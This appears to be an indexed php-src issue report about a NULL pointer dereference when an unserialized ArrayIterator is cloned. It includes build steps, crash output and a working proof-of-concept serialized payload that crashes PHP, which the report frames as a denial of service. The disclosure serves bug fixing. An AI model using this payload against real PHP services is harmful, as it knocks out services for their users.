php / php/php-src

The unserialize function with ArrayIterator leads to NULL pointer dereference when object cloned

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Bug Category: Serialization Extension: spl Status: Verified
Dominant language
C
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Description

Description

Version: PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Language assembly and compilation.
Listing 1. Language assembly and compilation.

$ git clone https://github.com/php/php-src.git
$ cd php-src
$ ./buildconf
$ ./configure
$ make -j8
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

The source code.
Listing 2. The source code.

<?php
$payload = 'O:13:"ArrayIterator":3:{'
    . 's:1:"0";i:0;'
    . 's:1:"1";a:0:{}'
    . 's:1:"2";a:2:{i:0;i:0;i:1;i:0;}'
    . '}';

$obj = unserialize($payload);  // Successful unserialization
$clone = clone $obj;            // Segmentation fault
?>

Executing this PHP code results in Segmentation fault due to corrupted pointer access, leading to Denial of Service (DoS).
Listing 3.

$ ./php-src/sapi/cli/php poc.php

Deprecated: Creation of dynamic property ArrayIterator::$0 is deprecated in /home/administrator/Temp/poc.php on line 8

Deprecated: Creation of dynamic property ArrayIterator::$1 is deprecated in /home/administrator/Temp/poc.php on line 8
Segmentation fault (core dumped)

NULL pointer dereference leads to process crash, causing Denial of Service. In ZTS mode, this can stop all currently served requests in the process.

PHP Version
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Operating System

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First steps

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  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Build php-src and run the supplied ArrayIterator unserialize-and-clone reproducer with sapi/cli/php to confirm the segmentation fault. Trace the unserialize and clone paths for ArrayIterator, then verify that the reproducer no longer crashes and that the affected behavior remains covered by an appropriate regression test.

Written by the indexing model from the issue text.

Assessment

Tech stack
c, php
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
45/100

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